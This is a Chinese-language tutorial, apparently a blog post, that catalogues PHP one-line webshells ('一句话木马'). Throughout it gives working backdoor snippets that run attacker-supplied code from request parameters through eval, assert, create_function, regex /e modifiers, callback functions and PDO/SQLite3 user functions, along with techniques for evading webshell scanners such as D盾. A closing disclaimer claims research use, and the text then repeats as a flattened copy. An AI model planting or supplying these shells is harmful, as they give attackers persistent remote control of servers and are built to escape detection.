关于php一句话木马的学习
字数 884 2025-08-09 23:12:43

PHP一句话木马技术详解

一、基础概念

PHP一句话木马是一种小型恶意脚本,通常用于远程控制服务器。其核心特点是代码简短(通常只有一行),但功能强大,能够执行攻击者发送的任意PHP代码。

二、传统执行函数

1. eval函数

<?php @eval($_POST['a']) ?>
  • PHP5和PHP7通用
  • eval是语言构造器而非函数
  • 不能进行函数名拆分

2. assert函数

<?php @assert($_POST['a']) ?>
  • 早期版本可通过编码和拆分assert提高隐蔽性
  • PHP7.0+并未禁用,但禁止了拆分
  • 与eval类似,也是语言构造器

三、函数创建与正则替换类

1. create_function

<?php 
$st = @create_function('', $_POST['a']); 
$st();
?>
  • 内部实现相当于执行eval
  • PHP5和PHP7都可用
  • 创建一个匿名函数并执行

2. preg_replace (仅限PHP5)

<?php @preg_replace('/.*/e', $_POST['a'], ''); ?>
  • /e修饰符使替换字符串作为PHP代码执行
  • PHP7已移除此功能

类似函数:

<?php @preg_filter('/.*/e', $_POST['a'], ''); ?>

3. mb_ereg_replace系列 (PHP5/PHP7)

<?php @mb_ereg_replace('.*', $_POST['a'], '', 'ee'); ?>
<?php @mb_eregi_replace('.*', $_POST['a'], '', 'ee'); ?>

别名:

<?php @mbereg_replace('.*', $_POST['a'], '', 'ee'); ?>
<?php @mberegi_replace('.*', $_POST['a'], '', 'ee'); ?>
  • 'ee'修饰符相当于/e
  • PHP7仍保留此功能

四、绕过检测技术

1. 类封装方法

<?php
class create {
    public $filter = ['q' => '_function'];
    public $value = '';
    
    public function __construct() {
        $this->value = $_POST['a'];
        $name = get_class($this) . $this->filter['q'];
        $st = $name('', $this->value);
        $st();
    }
}
$a = new create();
?>
  • PHP5.3.29和5.2.17不可行
  • PHP5.4.45-PHP7可行
  • 建议:PHP5用assert拆分,PHP7用create_function拆分

五、回调函数技术

1. 基本回调形式

<?php $_GET['a']($_GET['b']); ?>

2. 标准回调函数

<?php call_user_func('assert', $_REQUEST['pass']); ?>
<?php call_user_func_array('assert', array($_REQUEST['pass'])); ?>

3. 高级免杀回调

<?php filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert')); ?>
<?php 
filter_var_array(
    array('test' => $_REQUEST['pass']), 
    array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert'))
); 
?>
<?php 
$e = $_REQUEST['e'];
register_shutdown_function($e, $_REQUEST['pass']); 
?>
<?php mb_ereg_replace('.*', $_REQUEST['pass'], '', 'e'); ?>

4. 基于扩展库的回调

PDO方式:

<?php 
$e = $_REQUEST['e'];
$db = new PDO('sqlite:sqlite.db3');
$db->sqliteCreateFunction('myfunc', $e, 1);
$sth = $db->prepare("SELECT myfunc(:exec)");
$sth->execute(array(':exec' => $_REQUEST['pass']));
?>

SQLite3方式 (PHP5.3+):

<?php 
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();
?>

六、技术要点总结

  1. 执行方式选择

    • PHP5环境:eval、assert、preg_replace(/e)、create_function
    • PHP7环境:eval、create_function、mb_ereg_replace(ee)
  2. 隐蔽性技巧

    • 使用@抑制错误
    • 函数名拆分
    • 类封装
    • 非常用回调函数
  3. 防御规避

    • 针对安全软件(D盾等)的检测规则进行混淆
    • 使用不常见的函数组合
    • 利用PHP扩展功能
  4. 发展趋势

    • 随着PHP版本更新,传统方法可能失效
    • 回调函数和类封装成为主流
    • 对PHP扩展功能的利用增加

注意:本文仅用于安全研究和防御技术学习,请勿用于非法用途。

PHP一句话木马技术详解 一、基础概念 PHP一句话木马是一种小型恶意脚本,通常用于远程控制服务器。其核心特点是代码简短(通常只有一行),但功能强大,能够执行攻击者发送的任意PHP代码。 二、传统执行函数 1. eval函数 PHP5和PHP7通用 eval是语言构造器而非函数 不能进行函数名拆分 2. assert函数 早期版本可通过编码和拆分assert提高隐蔽性 PHP7.0+并未禁用,但禁止了拆分 与eval类似,也是语言构造器 三、函数创建与正则替换类 1. create_ function 内部实现相当于执行eval PHP5和PHP7都可用 创建一个匿名函数并执行 2. preg_ replace (仅限PHP5) /e修饰符使替换字符串作为PHP代码执行 PHP7已移除此功能 类似函数: 3. mb_ ereg_ replace系列 (PHP5/PHP7) 别名: 'ee'修饰符相当于/e PHP7仍保留此功能 四、绕过检测技术 1. 类封装方法 PHP5.3.29和5.2.17不可行 PHP5.4.45-PHP7可行 建议:PHP5用assert拆分,PHP7用create_ function拆分 五、回调函数技术 1. 基本回调形式 2. 标准回调函数 3. 高级免杀回调 4. 基于扩展库的回调 PDO方式: SQLite3方式 (PHP5.3+): 六、技术要点总结 执行方式选择 : PHP5环境:eval、assert、preg_ replace(/e)、create_ function PHP7环境:eval、create_ function、mb_ ereg_ replace(ee) 隐蔽性技巧 : 使用@抑制错误 函数名拆分 类封装 非常用回调函数 防御规避 : 针对安全软件(D盾等)的检测规则进行混淆 使用不常见的函数组合 利用PHP扩展功能 发展趋势 : 随着PHP版本更新,传统方法可能失效 回调函数和类封装成为主流 对PHP扩展功能的利用增加 注意:本文仅用于安全研究和防御技术学习,请勿用于非法用途。